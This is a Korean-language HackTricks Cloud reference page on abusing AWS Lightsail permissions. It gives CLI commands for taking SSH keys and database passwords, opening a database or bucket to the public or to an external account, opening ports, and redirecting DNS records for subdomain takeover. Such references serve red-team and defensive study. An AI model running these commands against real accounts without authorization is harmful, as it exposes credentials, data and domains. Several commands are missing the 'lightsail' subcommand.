AWS - Lightsail Privesc
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Lightsail
Lightsail에 대한 자세한 정보는 다음을 확인하세요:
warning
Lightsail은 사용자에게 속한 IAM 역할을 사용하지 않고 AWS 관리 계정에 속하므로, 이 서비스를 악용하여 권한 상승을 할 수 없습니다. 그러나 민감한 데이터인 코드, API 키 및 데이터베이스 정보는 이 서비스에서 발견될 수 있습니다.
lightsail:DownloadDefaultKeyPair
이 권한은 인스턴스에 접근하기 위한 SSH 키를 가져올 수 있게 해줍니다:
aws lightsail download-default-key-pair
잠재적 영향: 인스턴스 내에서 민감한 정보를 찾습니다.
lightsail:GetInstanceAccessDetails
이 권한은 인스턴스에 접근하기 위한 SSH 키를 생성할 수 있게 해줍니다:
aws lightsail get-instance-access-details --instance-name <instance_name>
잠재적 영향: 인스턴스 내에서 민감한 정보를 찾습니다.
lightsail:CreateBucketAccessKey
이 권한은 버킷에 접근할 수 있는 키를 얻을 수 있게 해줍니다:
aws lightsail create-bucket-access-key --bucket-name <name>
잠재적 영향: 버킷 내에서 민감한 정보를 찾습니다.
lightsail:GetRelationalDatabaseMasterUserPassword
이 권한은 데이터베이스에 접근하기 위한 자격 증명을 얻을 수 있게 해줍니다:
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
잠재적 영향: 데이터베이스 내의 민감한 정보 찾기.
lightsail:UpdateRelationalDatabase
이 권한은 데이터베이스에 접근하기 위한 비밀번호를 변경할 수 있게 해줍니다:
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
데이터베이스가 공개되지 않은 경우, 이 권한으로 공개할 수도 있습니다.
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
잠재적 영향: 데이터베이스 내의 민감한 정보 찾기.
lightsail:OpenInstancePublicPorts
이 권한은 인터넷에 포트를 열 수 있게 허용합니다.
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
잠재적 영향: 민감한 포트에 접근.
lightsail:PutInstancePublicPorts
이 권한은 인터넷에 포트를 열 수 있게 해줍니다. 이 호출은 지정되지 않은 모든 열린 포트를 닫습니다.
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
잠재적 영향: 민감한 포트에 접근.
lightsail:SetResourceAccessForBucket
이 권한은 인스턴스가 추가 자격 증명 없이 버킷에 접근할 수 있도록 허용합니다.
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
잠재적 영향: 민감한 정보가 포함된 버킷에 대한 새로운 접근 가능성.
lightsail:UpdateBucket
이 권한을 통해 공격자는 자신의 AWS 계정에 버킷에 대한 읽기 접근을 부여하거나 심지어 모든 사용자에게 버킷을 공개할 수 있습니다:
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
잠재적 영향: 민감한 정보가 포함된 버킷에 대한 새로운 접근 가능성.
lightsail:UpdateContainerService
이 권한을 통해 공격자는 컨테이너 서비스에서 개인 ECR에 대한 접근을 부여할 수 있습니다.
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
잠재적 영향: 개인 ECR에서 민감한 정보 얻기
lightsail:CreateDomainEntry
이 권한을 가진 공격자는 서브도메인을 생성하고 자신의 IP 주소로 포인팅할 수 있으며(서브도메인 탈취), 도메인에서 이메일을 스푸핑할 수 있도록 SPF 레코드를 작성하거나, 심지어 메인 도메인을 자신의 IP 주소로 설정할 수 있습니다.
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
잠재적 영향: 도메인 탈취
lightsail:UpdateDomainEntry
이 권한을 가진 공격자는 서브도메인을 생성하고 자신의 IP 주소로 포인팅할 수 있으며(서브도메인 탈취), 도메인에서 이메일을 스푸핑할 수 있도록 SPF 레코드를 작성하거나, 심지어 메인 도메인을 자신의 IP 주소로 설정할 수 있습니다.
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
잠재적 영향: 도메인 탈취
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.